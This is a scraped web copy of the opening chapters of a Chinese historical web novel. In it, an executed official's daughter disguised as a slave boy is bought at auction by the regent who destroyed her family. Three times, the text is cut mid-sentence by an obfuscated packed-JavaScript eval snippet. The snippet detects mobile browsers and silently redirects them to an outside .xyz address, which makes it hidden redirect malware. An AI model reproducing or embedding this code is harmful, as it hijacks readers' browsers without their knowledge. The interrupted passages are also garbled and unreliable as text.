《摄政王的恶毒大恩人》 1. 十三年前十三年后 大岐永和元年，冬至，阴雷阵阵，天凝地闭。 燕云七州以北，一片枯萎的麦田，马车轮碾过残雪与烂泥，在广阔的原野上夺命奔袭。 “驾！驾！！” 拉车的只有一匹白马，马夫挥鞭，发狠抽打着马臀，可怜的马儿皮肉崩开，雪白的皮骨上留下道道刺目血迹。 “快要追上了，再快！快啊！！”马车中，中年男子嘶吼着催促。 “老爷，不成了。”车夫回头，双眼大睁如铜铃，“这……这是匹母马，已跑了整整一天一夜，口里开始吐白沫了！” 姚鹤掀起帘子，急速往后瞥了一眼，十余骑执刀剑的蒙面刺客，胯.下奔马疾若狂风，马蹄跺地声声惊心。拦下的他们的马车只是时间问题。 帘帷落下，姚鹤皱眉看向车厢内。 逼仄阴暗的角落，缩着一位中年美妇人，华丽的衣着染上脏污，脸上花掉的妆容也难掩美貌，她的钗环随着颠簸而剧烈摇晃，如同乘坐于怒海狂涛中的一叶小舟。 妇人丰腴的双臂紧紧搂着个十岁左右的秀气男孩。那男孩大睁着双眸，昂头不经意与姚鹤对视一眼。总角稚童，生死攸关之际竟然故作镇定，生生压下满腹惶恐，只有腿脚微微颤抖。那眉目五官十分俊秀，两眼炯炯有神，潜藏着说不出的王者之气。 马车另一边座椅上，五岁女孩蜷缩在角落，用迷蒙的眼睛打量着父亲和这对陌生母子。 平日里的仪容得体、意气风发的父亲，此刻沧桑到极点，眼周一片淤黑，下巴冒出胡茬，衣服上都是泥点子。看着这一车弱质妇孺，他又重又长地哀叹一声。 妇人正瑟瑟发抖，突然仰头，目光射出点点希冀，又在男人凌厉的瞪视中低下了头。 “尔等究竟是何人？”姚鹤在母子面前厉声询问，颇有压迫意味。 经历三日夺命奔袭，妇人声音喑哑不堪：“奴、奴家……乃烨都商贾人家妾室，出城路上被这伙贼人杀夫夺财，一路穷追不舍，竟然还要羞辱奴家，幸得大官人相救，若能逃出生天，奴家定以半数，不不，全数家财献上……” 话到最后，已是浓浓的哀求。 姚鹤打量着妇人头上发髻，一身脏污却看得出用料华丽异常的衣袍，还有为了隐藏身份藏在袖中的官制凤形短钗。即便是夺路逃命的途中，女子依旧谈吐清晰，克制守礼，正说明她的家世教养不俗。姚鹤浓密的眉毛深深蹙起来，目光扫向妇人怀中的男孩。 见姚鹤打量起儿子，妇人掏出纱绢假装擦拭男孩脸上的泥渍，以遮掩男孩的面容。 姚鹤原任陇西节度使，年关回烨都述职，预备留都，官拜吏部侍郎。此人出生陇西大族，书香世家，官运一路亨通，且仅仅年过不惑，前程似锦。 他先一步从关外出发，轻装简行，只带上宠爱的女儿和几个仆人，在路过燕云七城时，遇上一对锦衣华服的母子被刺客追杀，便是此刻马车中的妇人与十岁的男孩。 姚鹤见母子两个仓皇逃命，当即胸中侠气大发，让他们躲进他和女儿的马车中。却低估了刺客的侦查能力，被狂追了一天一夜。他手下仆从和侍女，除了现下驾车的车夫之外，皆被一刀斩杀，魂断于两千里入京途中。 形式不利，姚鹤便开始懊悔自己的救人之举实属托大。非是他不愿相救，只是若因救人搭上自己和女儿的命，着实不值当。 他是个前途无限的高官，却不是圣人。 “求贵人救救我们母子，来日必有重谢！” 姚鹤沉默不言，面容逐渐变得为难。这女人不再年轻，但生得极美，身段丰腴，凹凸有致，很有韵味，只可惜眼下风流才子也很难再怜香惜玉。 因为她并没有说实话。 先帝骤薨，三皇子斗倒了年幼的太子，剿灭其党羽登基。废太子及其生母娴妃下落不明。 姚鹤是外官，对京中秘辛知之甚少，却将这对母子的来历猜得八九不离十。可眼下追兵将至，连活命都成了问题。 “老爷！”前头一声惨呼，车夫从马车上跌落下去，重重坠到地上抽搐了几下，两眼上翻，只见眼白，胸口正中斜插着一只弩箭。 拉车的马匹发出长长的嘶鸣，彻底失控，姚鹤跌跌撞撞冲至车舆前室，以足尖勾起马缰，猛然向后一扯，掌心勒得血淋淋的才勉强控住了马。才发觉马儿后臀处的千百道刺目的鞭痕，马车辐辏也几乎断裂。 后方沉重密集的马蹄声如蛆附骨，一下一下敲击着他的良心。打头的一名刺客已经与他齐头并进，姚鹤腮颊咬得铁紧，趁着马儿能自控，当机立断冲回车厢。里头随即传出妇人凄厉的尖叫。 “你要干什么，不要！放开我！” “你母子二人本该昨日便命丧竹林中，皆因我才苟活至今，天要亡你，非我之过！” “实在不行，将奴家儿子一人带走。”妇人如何拉扯得过壮年男子，双膝一软，膝盖重重磕在地上。天潢贵胄，何曾下跪求人，“我家经商四十余年，巨富无比，家夫已亡故，我虽是妾，但他是家中独子，你带他回族中，要多少钱财只管开口，族中长辈会悉数献上的。” “商贾妾室？还在骗我！”姚鹤面部肌肉狂抖不休，“既然你不仁，就休怪我不义了！” 姚鹤甩开妇人，一把抄起边上少年的胳膊，将麻木的少年拖至舆驾前，斜斜挂在马车边缘。 妇人猝然惨呼：“殷儿，不要啊！” 那男孩全身僵硬，眼神浮现惊惶，身体重量几乎都在姚鹤手上，只一条细腿还撑在马车边沿，只要姚鹤手微微一松，便会滚落车下，一不留神，说不定会被车轮碾得骨碎筋移。 刺客见他们追的马车突生变故，一双双猎人的眼眸闪烁精光，又摸不准男人的行为意图，是以不约而同停止靠近，自后方徐徐形成了一个半圆形包围。岂料下一刻，便听那男子提气向四野吼道：“诸位好汉，在下乃初入京师的一介外官，与这对母子萍水相逢，并不知他们是为何人，姓甚名谁，贸然相救实属多管闲事。现将二人交给诸位，也请不要为难，放我离去，他日必以万金相赠！” 姚鹤毫不犹豫，松手，男孩如一片孤零零的枯叶，轻飘飘滚落下去。 钗环散乱，面如死灰的妇人发出撕心裂肺的悲鸣，化为一头发疯的母兽，凶悍地往姚鹤胸前一撞，差点将他撞下马车。紧接着纵身一跃，“咚”声坠地，随她儿子一并落下了马车。 女孩爬到车尾，向后望，大大的瞳仁里倒映出妇人的结局。她腿脚崴得厉害，不顾一切地向着男孩爬去，把他圈在怀里，恨不得将之重新塞进母体。 刺客胯.下十几匹奔马全部停下，像恶狼瞧见了生肉，团团围住。 电闪雷鸣，雨滴砸落无人旷野，溅起的泥水打在母子身上。 “呲——”利器出鞘，寒光闪现，妇人纤薄的娇躯微微后仰，一篷硕大的血花从胸口飞溅。 女孩双眼直勾勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006001|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着这一幕，耳边是风声，雨声，车轮碾过枯萎的麦秆，父亲疯狂的驾车声……一切声音都在远离。 直到马车将这一切远远甩在后头，甩在深冬阴沉绝望的旷野之中。 …… 十三年后。 哗啦！一盆凉水兜头浇下，痛痛快快。 “咳咳咳……干什么干什么！啷个黑心老王八，打扰小爷清梦。” 尘埃浮动的陋室内，一张破烂木板和板凳搭起的床上，弹起个满面湿水的少年，熟睡中被惊醒，嚷得中气十足。 “日上三竿了还在睡！不干活的懒骨头，害老子年前交不了货，仔细你的屁股！”作坊的主人气势汹汹，抄起铁盆子砸去。 赖床的少年十七八岁，乍一看身量不高，手腿瘦嶙嶙的，芦柴棒似的挂不了几两肉，行动灵活极了。还没醒全呢，脑后感知到一股寒意，本能地歪头一避，铁盆子磕在墙跟“咵嚓”一声，完美躲过。 盆里头本来盛着他昨日的洗脸水，既是洗脸水，也是洗脚水，此刻已尽数转移至他脸上、床上，渗进黑黢黢，破烂烂的薄被里去了。 少年名唤桃七，坐着湿褥子，屁股半点没挪，一对招子撑开了一只。抬起鸡爪似的手抓抓脖子，粗狂地揉眼睛，打量眼前的草屋。旷野中的夺命奔袭，父亲冷厉的叱喝，那少年的眼睛、美丽妇人胸腔炸开的血，皆如梦幻泡影一般，无声地破了。 作坊的主人——邓老板，五十多岁，一口碎米牙，头上稀疏几根毛光溜水滑地梳到脑后，朴实中透着讲究。邓老板经营着一间做竹编物件的作坊，在烨都一百零八坊之一的染瓦坊里也算小有名气，可惜这两年生意越来越不景气，手底下原管着桃七在内的五六个帮工伙计，而今只剩下桃七一个了。 不辞了他，全因他是花了钱的小奴隶。 自从五年前邓老板把他从泔水沟里捡出来，桃七就把自个儿卖给了他。正儿八经签了卖身契送到衙门盖大印的那种。卖的钱在眼前一晃儿，连摸都没摸到，悉数给了大夫，拿来看他那条断了的腿。 养好了伤，他就在作坊里吃住，混不吝的模样看得人牙痒痒，多少次邓老板想把他打出去，却因他一手竹编技艺出神入化才勉强将他留下。 “这黑心癫公，生的儿子没疙瘩眼儿！”桃七嘟囔着骂，殊不知邓老板接连生了六个女儿，就为了生儿子。老婆生最后一个还难产死了，他这一句堪称诅咒。 邓老板一脚将他踹成个滚地葫芦：“你个前世来讨债的东西！再给老子胡说八道，还不快起来干活！” 少年捂着屁股，起来单足在地上一蹦一蹦，诶呦哎呦嚎叫，顺手往裆里搔两下，十成十的市斤混子。 老邓走出臭烘烘的屋子，双手背在后面，长长叹了一口气。 桃七踢踏上一双黑黢黢的草鞋，腰上挂着皱成一条条的黄犊裤，头顶用根细细的竹签子挽了湿哒哒蓬乱乱的发髻。举起袖子一抹脸。嘿！正好，省得洗脸了。心情骤好，连湿透的褥子也不去管了。终于是大摇大摆地出了“闺阁”。 来到堂前，一个帮工都没有，也没有干活的家伙什儿。空荡荡的八仙桌上一碗热腾腾的刀削面，两块驴肉馍馍，还有他的卖身契。 邓老板在躺椅里摇着，把脸一板：“吃吧。” 桃七一句话没问，坐下来，照着往日的章程，慢悠悠啜了口刷锅水似的粗茶，吧嗒了下嘴唇。端起大碗，吸溜吸溜吃得热汗淋漓。 2. 这才叫真正的恐惧！ 邓老板倒在竹躺椅上看桃七吸溜。他自个儿是做竹编作坊的，竹椅、竹篮，竹席、竹笸箩，样样不在话下，自己屁股底下的椅子却破破烂烂，快要散架，真真应了那句“卖油的娘子水梳头”。 一大碗汤咕噜咕噜下肚，桃七把碗一撂。 “吃完了？” “吃完了。”桃七起身，将碗拿到天井下的水缸，就着昨日的雨水洗了。以往他吸溜完了一顿，把碗舔一舔就丢回篮子里。懒得洗，下回接着用呗。 “走吧。”桃七什么也没拿，头也不回地出了门。 老邓在躺椅上坐了会儿，看着年轻人轻快的步伐，突然意识到自个儿已老得不成样子了。 老邓领着着桃七，来货奴坊找人牙子。 当日恰逢秋分庙会，沿街挤满了十里八乡进城的人和吆喝叫卖的货郎，油布摊子直摆到道儿中间，仅可过两人的路上，满地碎菜叶子、破烂布子，五颜六色。酒管子里，酒酣面热的汉子划拳似干架，胭脂水粉铺里的小娇娘三两结伴进出，一窝蜂孩子在杂耍摊子前拍手呼和，两个肌肉如铁铸的汉子在表演胸口碎大石…… 桃七在染瓦巷里住了五年，也溜达了五年，日日瞧着都新鲜，只今日看什么都像是失去颜色。 老邓领他来到货奴坊最大的奴隶交易市场，转眼已过了半日。 “诶呀不要不要……” “看看吧，才十八岁，买去当个拉磨的驴也成啊。”好容易来个主顾，邓老板低声下气地跟人商量想卖给人家，一次都没能谈拢。 桃七是邓老板的奴隶，虽说平日里蹬鼻子上脸了些，也还是奴隶，跟牛马没什么两样的。没道理放出去不卖，更别说放了他之后去哪儿啊。 桃七倒是心宽，流氓似的拱起腰背，蹲在地上，两手时而插裤子里挠两下屁股，时而扣扣鼻孔，顺手把鼻屎抹在靠着的墙根上。 再不挑的主顾看了他，也给恶心了一把，就算买去拉磨，也是往磨槽里头吐口水的货。 可把邓老板给愁煞了。 “怎么个来历？”这时，一位操着外地口音的长脸人牙子摸着下巴，停在二人身边打量起来。 “诶呀这可有说头，”邓老板一下子就来劲儿了，一唱三叹演大戏似的，“五年前数九隆冬，那冷得呀把人鼻子冻掉，小老儿起床倒夜香，就看到这娃子倒在沟里，身上一件破破烂烂的灰衣，腿折了，人也瘦的不成样子。小老儿手里也不宽裕，千辛万苦请医延药救活了，花了二两纹银，他就把自个儿卖给小老儿了。” 马脸人牙子又问：“叫什么名字啊？” “桃七。” “问他呢，哑巴啊？”人牙子颐指气使。 邓老板推搡了桃七一下，甩给他几记眼刀子。桃七破天荒没摆出混账样子，乖顺回道：“家里生的第七个，养不起了，逃荒路上把我丢下了，就叫桃七。” 马脸人牙子嘬着牙：“原来是这么个‘逃’。” 邓老板笑呵呵：“诶！就是桃，桃！多好的寓意啊……” 人牙子前前后后打量桃七：“走两步。” 没等老邓来掐，桃七自觉走了几步，还做了几个蛙跳。完了，主动裂开嘴，让他看自己那两排白牙。 买主看他口齿伶俐，四肢健全，没聋没哑，露出满意的目光，一想到还得压压价，也就板起个脸，用力捏了两把桃七的胳膊，眯眼嫌弃地上下扫了扫：“就是太瘦了。 ” “别看他瘦小，小时候饿怕了，一日一碗稀粥就能活着，不挑。脾气也好。干起活来利索得很，您瞧这手。”邓老板拿起桃七的手掌展示。桃七惯会偷懒，到底做手艺活的，五年下来多多少少也磨了些茧子。 “开个价。” 见脱手有望，老邓喜得牙花子都龇出来了，拐弯抹角地说：“老汉我啊作坊倒闭了，欠了一屁股债，去岁老婆难产死了，家里还有两个病女儿，请医延药日日花钱……” 人牙子不耐地以为他要抬价，老邓连忙比出一个拳头：“十贯铜板就够了，治他的腿花了二两纹银，大人多出几个铜板，老汉我啊这个冬也能好过些。” 桃七心里想：屁嘞，当年把小爷我当牛马使唤，半年我就给你赚回了药费，后面的都算利润！ “十贯……”人牙子暗暗一喜，心里一盘算，十七八岁正是手脚麻利脑子伶俐的时候。桃七黑了点儿，相貌嘛还算端正，买回去做个粗使仆役，或者暖床的书童，都是可以的，拾掇拾掇按照市价转个五两银子还不是轻轻松松的事儿。眼珠子又一提溜，这老头要价忒低，说不定有些暗疾。不过话又说回来，反正是立马牵去转卖，凭老子一张嘴吹得天花乱坠，不愁脱不了手，至于接盘的买主用着怎么样，那老子可管不着了…… 桃七被买走了。 邓老板把牵人的绳儿递到人牙子手上，跟其他木木呆呆的奴隶绑成一溜儿。 邓老板想去牵桃七的手，想了想，还是没脸碰他：“七哥儿，往后前程就靠你自己了。眼色好些，傍上个大户人家，不比在老头子的破烂作坊里窝一辈子强么？” 桃七笑了笑，没说什么，真成了牛马，髫子一系，跟那人走了。 “七哥儿，”老邓眼球一热，“你要好好儿的……” 桃七没回头，丢给他一个听话的，固执的背影。 …… 十日后。 烨都靠近皇城的永安坊里最大、最气派的是一栋五层高楼，门口的牌匾上题着“举辉堂”三个金灿灿的大字，左书“奇珍异物无所不有”，右书“天下财宝尽入吾彀”。 大门口，一圈百姓或打扮富贵，或素衣短衫，挤挤挨挨围在一起。 “人都要死了，还要打下去，造孽哦！” “怎么着都是个人，再不听话也不能这么折磨呀……” “哎呦就没见过这么黑肚肠的！” 砰！又是一道大脚踹肚子的动静，伴随粗噶的谩骂：“你个小赤佬再给我装？再给我装？再不起来，老子把你卖到北川矿场去！” 长脸人牙子气急败坏，用手指着地上那个破布烂衣，满身污垢，额头带血的少年。少年双足摊开，一只瘦嶙嶙的手臂漫无目的地往上伸，气若游丝哭道：“诶呦，妈妈，妈妈救我……” 那股可怜巴巴的劲儿，着实令人动容。 打抱不平的就更多了——“黑心肝的人贩子，没见他都要死了吗？”、“你再打一下试试……”、“报官呀，有没有人报官？” 人牙子气得快厥过去，即使他解释了无数遍，烨都的百姓还是被桃七虚伪的面貌给骗了。 原来，外地来的长脸人牙子买下了桃七，又从隔壁坊市的贫苦人家买了两个小孩儿，一齐带去西边贩卖奴隶的人市，敲锣打鼓开张了！ 哪知道头三天过去，手头十几个男奴女奴都出手了，就这一个，没人过问。 在染瓦坊附近地界儿，啷个不晓得“桃七郎”？那就是个混迹市斤的油子，混不吝的魔王。离了染瓦坊，去到一个没人认出的地方，他就摆出一副死猪不怕开水烫的模样。来一个人看他，要么歪嘴豁牙地冲人傻笑，要么口吐白沫倒地抽抽，作痴扮傻把买主都吓跑。好心人看了还嘟哝几句可怜，一来二去，白贴钱都没人要。 人牙子这回悔得肠子都青了，也没处说理去。 他可算知道为什么桃七卖得便宜了。 这不是捡了大漏，而是踩了大雷啊！ 人市是指望不了了，于是赶着桃七来到烨都规模最大的老字号拍卖场碰碰运气，听说里头什么都能卖，只要开价够低，没有卖不出去的。桃七当然不让他如愿，到了门口，往地上一倒又演起来了。 人牙子又猛踢了桃七的小腹好几脚，攥着他脖子上的缰绳，往偏门拖进了举辉堂，地上留下长长的一条血痕。 桃七也不是故意与他为难，只不过见此人虐待奴隶，不给饭食，打骂侮辱，还对手里的女奴毛手毛脚的，遂扮傻装病报复他让他卖不出去。换来的就是无数顿暴揍和三天粒米未进。 腹中饥饿，力气自然别不过这黑心人贩。桃七心中自我安慰道：这下好哇，让小爷我也相看相看买家，若是那相貌堂堂的富贵人家，我就去，若看不顺眼，我就往人脸上吐口浓痰，看谁敢把小爷领回家去。 人牙子将桃七交给一个伙计，伙计冷冰冰上下扫了他两眼，领着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006002|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入了后院，将桃七交给几个粗使仆妇，漠然道：“洗剥干净，半个时辰后来领人。”说罢扭头离去。 院里露天摆放着一个大浴桶，两个仆妇开始往里舀水，另两个挽起袖子冲着桃七过来。 “奶奶个腿儿，你们想干什么？来人呐，非礼啊！” 桃七挣扎不休，猴儿似的乱踢，奈何粗使的老妈子们力气大，他又三天没吃饭，攒的力气都被人牙子耗没了，只得屈辱地被剥得一干二净。 其中的一个看了桃七的身子，眼睛瞪大了，示意其他老妈子也来看，指着桃七光秃秃的那处，露出狐疑和为难的脸色。 桃七咬着牙，心道完了。 “不该问的别多嘴！”说话的是领头的一个嬷嬷，颇有威胁的意味。 “不说给管事的知道吗？” “管事的什么不知道，做好咱分内的事，少看少说，仔细你们的皮。” 老妈子们心照不宣闭了嘴，噗通一声把桃七丢进冰冷的木桶里。 桃七冻得上下牙齿打颤，脑子里兀自思量那管事的是谁？难道是领他进来的伙计？他又知道些什么？ 在这群五大三粗的仆妇手里，桃七可算吃着了苦头。她们二话不说，抄起一只比马刷还硬的刷子，将她身上积攒的厚厚一层汗油渍刷洗干净，皮都脱了一层，打结的头发梳洗通透，实在梳不开的就用剪子绞了，再套上件料子柔软的白衣。 要不说举辉堂精通拍卖呢，一番拾掇，桃七的脸蛋变得白白嫩嫩，五官精致熨帖，额角的伤也被头发遮住了，俏生生好不惹眼。哪怕邓老板在面前，这下也不敢认了。 那个伙计又来了，满意地瞧了桃七几眼，领着他往拍卖堂去。 桃七一上台，下面坐着的拍客中，几个膀大腰圆，衣着华贵的油腻男人眼前一亮，纷纷摸着下巴，用猥琐的眼神打量起他来。 “我出十两。” “十二两。” “二十两。” 有买主上了头：“三十两！” “五十两，老娘今儿非把这小后生带回去不可！” 作为货主，长脸人牙子也坐在台下，见这势头，两颗眼珠子都变成了金元宝的模样。 出价愈高，竞争的买主也少了，到了后头只剩两位金主，一个是贼眉鼠眼的员外，另一个是胖成了一坨肉山的半老徐娘。 “冯夫人已经出到了八十两，各位老爷员外，还有没有出价更高的？十八岁的少年郎，面若敷粉，唇若丹珠，这种品相可不多见呐，买回去暖床，可别提多快活……”敲槌人还在煽动更高的出价，买主们一个个心痒难耐。那位冯夫人环顾四周，一股子的神气。 在烨都，给花魁赎身也只需一百两纹银，这么个名不见经传的小子卖八十两，还真是抬举他了。 一见那位“冯夫人”的尊容，桃七就感到一股恶寒，就在他打算眼白一翻，在地上得心应手地表露“本色”之时，有人一语惊动全场。 “五千两。” 出价声来自头顶的楼座。 “这……这……”人牙子腾地站了起来，已然失语。 鸭子快到嘴，还被人抢了，冯夫人哪咽得下这口气。恶狠狠地指着台上：“老娘在烨都横行霸道二十年，还没人敢跟我抢……” 可那人轻描淡写地说出的下一句才是真正的炸弹。 “黄金。” 诡异的静默无声蔓延…… 拍卖场主槌第一个反应过来，生怕到嘴的肥鸭子飞了：“五千两黄金一次，五千两黄金两次，五千两黄金三次！成交！！恭喜楼座上的神秘贵宾拍得男奴一名。” 满座哗然，人们站起身，向上方楼座看过去。 围栏后伫立一位身姿挺拔、器宇非凡的男子，衣着苍青色蟒袍，雷纹锦缎束腰，玉带坠了血红色珠璎，着银色面具，露出鼻骨一点精致的驼峰，陡峭的下颌硬朗宛若雕琢而出的线条。身侧都是带着大刀的差役，个个都皂衣青冠，气势汹汹。 是他！ 只一眼，桃七便幻觉脑子被劈中一般，牙齿控制不住磕在一起，手指攥得快失血了仍然没有知觉。 这才叫真正的恐惧！ 3. 暖床？我吗？ 五年前，烨都以北三百里的北川矿场，发生了一起震惊朝野的“鬼矿案”。 起因是几个采矿工在矿洞深处挖出了十几具死人骨，早已腐烂殆尽，一点衣物和腐肉都不剩了。不知哪朝哪代生人，更不知如何埋入这深达百丈的地底。自此以后，便传出了矿洞里半夜闹鬼的传闻。 一月后，发生了一起严重矿难，十余名矿工被埋地底。诡异的是，不管外头的人怎么挖掘，一点也找不到被埋的矿工尸体。 这时有人想到了那十几具死人骨。 人骨早在林间无人处掩埋，人们找到地方，起出遗骨，发现那些裹在破席子里头埋的，哪里是多年前的枯骨，正是那些在矿难中失踪的矿工，尸体穿着的还是他们下洞时的衣物。 此事一出，矿工们逃逸了一大半。北川矿场也在人力不足的困境下暂时关闭。 北川矿场属皇家所有，是皇帝私库的重要财源，出了事儿皇帝比谁都急，命速速查清来龙去脉。 这个案子在大理寺和刑部共同调查中竟然牵扯到了吏部侍郎姚鹤的身上，查实他一手策划此案件，妄图以流言蜚语颠覆皇权。 姚鹤在狱中呈上血书，大呼冤枉。满堂文武求情者寥寥，落井下石的也有，大多数皆静默不敢言。只摄政王宋无忌一人，连上八道奏折，太极殿前慷慨陈辞，力主满门抄斩，一个不留。 彼时年幼的皇帝不敢得罪摄政王，内阁一应同意，赐“夷三族”。 摄政王与姚家是往日无怨近日无仇，何时何地得罪了这尊大佛，姚凄凄完全不知。 全府上下一百二十余口人，一夕之间男丁女眷尽数伏诛，奴仆流放，女婢充入教坊司。 幸运的是姚凄凄长久呆在深闺之中，没多少人知晓她的样貌。在父亲往日亲信的运作下，一名呆傻的女婢代替了她被捉入牢狱之中，据说死前没少受到折辱。 女扮男装的姚凄凄在染瓦坊的一座小作坊里窝了五年。一开始没有一日不在思量着翻案复仇，后来也渐渐淡忘了，想着就这么稀里糊涂过一辈子也好。 可她能放过仇人，仇人便能放过她么…… “能被这般贵人挑中，是他几辈子修来的福气啊。”举辉堂大门前，人牙子把桃七交到对方手中，笑得长脸上堆满褶子。 桃七回过神来，看了看眼前与他一般大的少年，一身武服，腰间配剑，脸上还带着点肥。少年背后，苍青色蟒袍的男子登上了马车，车上挂的灯笼上，描着又大又黑的“宋”字。 “你叫什么？”少年侍卫问。 “叫桃七，桃李不言，嘿嘿，多好的寓意啊。”人牙子道。 少年侍卫昂着脸，用下巴看人，鄙夷地嗫嚅了句：“王爷怎么就看上这小子了呢。” “万青！”另一名侍卫将钱与举辉堂管事的付清，让他们兀自与人牙子分去，买主不管这些。他与那名叫万青的侍卫一应打扮，想来便是宋无忌的两个心腹侍卫了。 “啰嗦什么呢？还不快走。” “我不喜欢这小子，娘了吧唧的。” “那你喜欢谁？” “你管我喜欢谁……”二侍卫一人一边，把桃七夹在中间，一齐跟在马车后头。 毒辣的日头下，一处气派的宅子，牌匾高悬，“摄政王府”四个字乃是御笔亲提，黑沉沉压得人喘不过气来。据传，烨都里顶顶恐怖的地方，昭狱只能排第二，排第一便是此地了。 桃七望着肃穆的朱门，眼睛一翻，便要一头栽倒，却被两边的侍卫夹着，面条似的扭着身子。 “千叶，这小子怎么了？” 千叶道：“我怎么知道啊，难不成死了？” “胡说，刚刚还能走呢，一看就是装病。” “不像……”千叶说，“他一出举辉堂就一脸中气不足的模样，可能是看到咱们王府的牌匾被吓死了吧。” 二人将桃七放在地上摊平，千叶略通医术，给他把脉，万青拍了拍桃七的脸，拇指放到他鼻下。过了片刻，双双脸色一变，叫道：“王爷不好了！您新买的小奴隶饿死了！” 马车帘掀动，男子气定神闲地从马车下来，径直入了府，一个眼神也不往这边瞧。 一个时辰后…… “你说，他还能吃几碗？” “不能了吧，这都第七……八碗了。” “打个赌，我猜十五碗。” “我赌这个数。”万青伸出拳头，比了个十个。 “行，输了的请吃酒。” “那多不刺激，我说就要一个月的月钱。” “成成成。” “诶，他停下来了！” 千叶努嘴：“没意思……” “嘿嘿，愿赌服输啊，不许耍赖！” 桃七放下碗筷，拍了拍滚圆的肚皮，伸了个懒腰，嘴里哼哼唧唧的。这一顿吃了十碗油泼面，可把他撑坏了。 “你吃好了？”万青才赢了千叶的钱，心情正好，看桃七也顺眼了不少。 “嗯。”桃七环顾这间典雅的屋子，“这是哪儿啊？” 万青道：“咱们摄政王府后院的东厢房。” 桃七摸摸雕琢精细的金丝楠木茶桌，舔舔嘴唇，嘿然笑道：“我以后住这儿？” “想得美！这儿可是咱们王爷夏天避暑的雅阁。” “你们王爷呢？” 千叶道：“要不你回头看看？” 桃七猛地转过去，一个男子端坐在座椅上，懒懒把玩手里的琉璃酒盏，一双眼却笼在他身上。 摘了面具，男子露出剑眉星目，阔额挺鼻，薄唇窄颌，乌黑的头发铺散开来，鬓若刀裁，眉如墨画，一只修长的、骨相极好的手支撑着下颌，好看得让人移不开眼睛。 可是桃七两颊开始颤抖，面如金纸，冷汗洇湿了两鬓，哪还有半点人样。 “找我做什么？”座中的男子淡淡道，嗓音犹若幽泉击石，在燥热的初秋，有沁人心脾之效。 桃七屏气凝神，站了起来，两脚也并拢了，规矩得不像话。 “王爷问你呢。”万青提醒她。 桃七攥紧了那身白衣的衣角，竟然发觉自己两瓣油滑的嘴皮已然僵硬，一个字也吐不出。 她怕极了宋无忌。 这个把她一家一百多口送入黄泉，让她流落染瓦坊整整五年的仇敌，不折不扣的魔鬼。 现在他就坐在自己面前，若是……一道惊人的念头一下子劈中了她。她在想，若是拔出头上的簪子，一口气扎入这人瓷白的脖颈…… 桃七脸色变换莫测，久久不答。宋无忌眸中多了些不明不白的笑意：“你是染瓦坊出来的，平日里都会干些什么？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006003|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 问话的语气简直算得上温柔。 姓宋的这是唱的哪一出？桃七迅速思考着，他的背景粗粗一看还可蒙混过关，但不能细品，有心人一查，便会知晓五年前染瓦坊里出现了个来历不明的断腿少年。宋无忌花重金买了他，却还迟迟未揭穿他的罪奴身份，八成是还不确定，要再调查一番。 要让他相信自己就是个泼皮无赖，这不难。只是这性别，一剥衣服就什么都明了了，怎么装也无济于事的。 不能让任何人看自己的身子！ 桃七定了定神，在很短的时间拟定了一个计策。那张脸又活泛了起来，瞬间堆满了笑。 “小的是染瓦坊出来的，洗衣做饭，洒扫厅厨，竹编手艺，什么都会。前主人死了老婆，把我买去暖床，至今辗转好几个主人，技术嘛，也有一点，试过的都说好……” 桃七说时一脸娇羞，眼神躲躲闪闪，一绺头发绕着指尖打圈儿，像极了那些象姑馆里的小倌儿，欲拒还迎，欲说还休。 他得活下去，就必须强忍巨大的排斥去亲近他。他不是那个被宋无忌屠戮满门的余孽，而是个没脸没皮，习惯了爬床的混子。 恐惧，是最没用的东西。 宋无忌在朝横行独断，杀伐不留情，但是据说此人极其注重名声，不近男色女色，且至今府里连个偏房妾室都没有，这样的人断不能容忍此般冒犯。桃七在心里恶狠狠地说：看我不恶心死了他！ 宋无忌仍旧看着他，嘴角一抹意味深长的浅笑，连眉头都没蹙一下。 啧，看样子还不够，再来添把火。 桃七一个箭步，糅声而上，瞅准了位置倒了下去，目标正是要趴在宋无忌腿上，可惜后者一挪腿，他便啪叽一下落在了地上。挺起上半身，晃了晃脑袋，举手摸上了那只皂黑色的鞋面，姿态虽然清奇，却自有一股弱柳扶风，风韵犹存的姨味。 输了钱的千叶闪身拦在他面前，一个剑背抽来：“手脚放干净点儿。” “你做什么？再敢孟浪，小心腌了你！”万青道。 桃七呼呼吹着手背，恼了：“你们懂什么？主子把我买来，还把我放到住的厢房里，不就是看中我这身皮骨吗，我讨主子欢心可有错？” “你胡说八道什么？”千叶快要炸了，“王爷才没有这般癖好！” “无事，”宋无忌拍了拍千叶，“下去吧。” 千叶这才退了回去，和万青一起用看变态的眼神瞪他。 